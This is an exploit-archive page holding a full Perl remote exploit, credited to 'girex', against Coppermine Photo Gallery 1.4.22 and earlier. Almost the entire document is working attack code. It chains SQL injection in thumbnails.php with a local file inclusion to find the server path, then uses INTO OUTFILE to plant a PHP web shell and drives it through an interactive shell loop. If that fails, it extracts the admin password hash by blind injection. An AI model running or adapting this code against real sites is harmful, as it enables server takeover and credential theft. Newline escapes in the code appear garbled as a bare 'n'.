[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Coppermine Photo Gallery <= 1.4.22 Remote Exploit
# Published : 2009-05-19
# Author : girex
# Previous Title : PAD Site Scripts 3.6 Insecure Cookie Handling Vulnerability
# Next Title : VidShare Pro (SQL/XSS) Multiple Remote Vulnerabilities


#!/usr/bin/perl
# Coppermine Photo Gallery <= 1.4.22 Remote Exploit
# Need register_globals = on and magic_quotes_gpc = off
# Based on vulnerabilities discussed at http://www.milw0rm.org/exploits/8713
# Coded by girex

use LWP::UserAgent;

if(not defined $ARGV[0])
{
     banner();
     print "[-] Usage: perl $0 [host] [path]n";
     print "[-] Example: perl $0 localhost /gallery/nn";
     exit;
}

my $lwp = new LWP::UserAgent or die;
 
my $target  =  $ARGV[0] =~ /^http:/// ?  $ARGV[0]:  'http://' . $ARGV[0];
   $target .=  $ARGV[1] unless not defined $ARGV[1];
   $target .= '/' unless $target =~ /^http://(.?)/$/;

my $uid = '1';	# Change if need
my @chars  =  ('1'..'9', 'a'..'f'); 
my $injection = '<?php if(isset($_SERVER[HTTP_CMD])) {echo 12345; passthru(stripslashes($_SERVER[HTTP_CMD]));}?>';

banner();
$lwp->default_header('Accept-Language: en-us,en;q=0.5');

my $html = inj_request(' WHERE x');	# Wrong query to obtain an error

if(not defined $html)
{
    print "[-] Request mistake. Exploit terminated!n";
    exit ();
}
elsif($html =~ /There was an error while processing a database query/)
{
    print "[+] Site vulnerable. Trying to retrieve absolute path...n";
}
else
{
    print "[-] Site not vulnerable to SQL Injection in thumbnails.phpn";
    print "[-] Maybe magic_quotes = On or register_globals = Offn";
    end_try();
}

# This LFI includes README.txt that contais php code with phpinfo() function.
my $res = $lwp->get("${target}index.php?GLOBALS[USER][ID]=5b83a5f92603efcdb65d47c9a2991d6b&GLOBALS[USER][lang]=../README.txt%00");

if($res->content =~ /<tr><td class="e">_SERVER["SCRIPT_FILENAME"]</td><td class="v">(.*)index.php</td></tr>/)
{
     $path_to = $1;
}
else
{
    print "[-] Unable to retrieve the absolute path. Problems with LFI.n";
    end_try();
}

$html = inj_request("AND 1=2 UNION ALL SELECT '${injection}' INTO OUTFILE '${path_to}logs/log_db.inc.php");
my $res = $lwp->get($target.'logs/log_db.inc.php');

if($res->is_success)
{
    print "[+] Shell injected at ${path_to}logs/log_db.inc.phpnn";
}
else
{
    print "[-] Shell upload failed, MySQL cannot write to logs path!nn";
    print "[+] Attempting to retrieve admin's md5..n";
    blind_sql();

    if(length($hash) != 32)
    {
        print "nn[-] Exploit mistake: unable to retrieve admin's md5n";
    }
    else
    { 
	print "n";
    }

    end_try();
}
                                                          
while(1)
{
    print "[+] coppermine@shell:~$ ";
    chomp(my $cmd = <STDIN>);
    
    end_try() if $cmd eq 'exit';
     
    $lwp->default_header( 'CMD' => $cmd );
    my $res = $lwp->get($target.'logs/log_db.inc.php');
         
    if($res->is_success and $res->content =~ /12345/)
    {
        print "n". substr($res->content, index($res->content, '12345') + 5)."n";
    }
    else
    {
        print "[-] Something wrong, command execution failed!n";
        last;
    }
}




sub inj_request
{
    my $sql = shift;
    my $res = $lwp->get($target. "thumbnails.php?lang=english&album=alpha&GLOBALS[cat]=999'+${sql}");

    if($res->is_success)
    {
	return $res->content;
    }

    return undef;
}

sub blind_sql
{
    our $hash = '';
    my $prefix = get_prefix() or 'cpg14x';
    my $username = get_username() or 'admin';

    $| = 1;
    print "[+] username: ${username} - md5 hash: ";

    for($i = 1; $i <= 32; $i++)
    {
	foreach $char(@chars)
	{
	    $html = inj_request("OR+SUBSTRING((SELECT+user_password+FROM+${prefix}_users+WHERE+user_id=${uid}),${i},1)='${char}'%23");
	
	    if($html =~ /The selected album/file does not exist/)
	    {
		$hash .= $char;
                syswrite(STDOUT, $char, 1);
		last;
	    }
	}
    
	last if $i != length($hash);
    }   
}

sub get_prefix		# File update.php shows the query executed to update the tables, we can get table prefix from it
{
    my $rv = undef;
    my $res = $lwp->get($target.'update.php');
    
    if($res->is_success and $res->content =~ /CREATE TABLE IF NOT EXISTS (w+)_sessions/)
    {
	$rv = $1;
    }

    return $rv;
}

sub get_username	
{
    my $rv = undef;
    my $res = $lwp->get($target."profile.php?lang=english&uid=${uid}");

    if($res->content =~ /<td class="tableh1" colspan="2">(.*)'s profile</td>/)
    {
	$rv = $1;
    }

    return $rv;
}

sub end_try
{
    my $res = $lwp->get($target.'register.php?lang=english');

    if($res->is_success and $res->content !~ /You don't have permission to access this page/)
    {
        print "n[+] Target can be vulnerable to SQL Injection for registered usersn";
        print "[+] See http://www.milw0rm.org/exploits/8713 to know how to exploit it!nn";
    }
    else
    {
        print "n[-] The target is NOT vulnerable to the SQL Injection for registered usersnn";
    }

    exit;
}

sub banner
{
     print "n[+] Coppermine Photo Gallery <= 1.4.22 Remote Exploitn";
     print "[+] Coded by girexn";
     print "n";
}

# www.Syue.com [2009-05-19]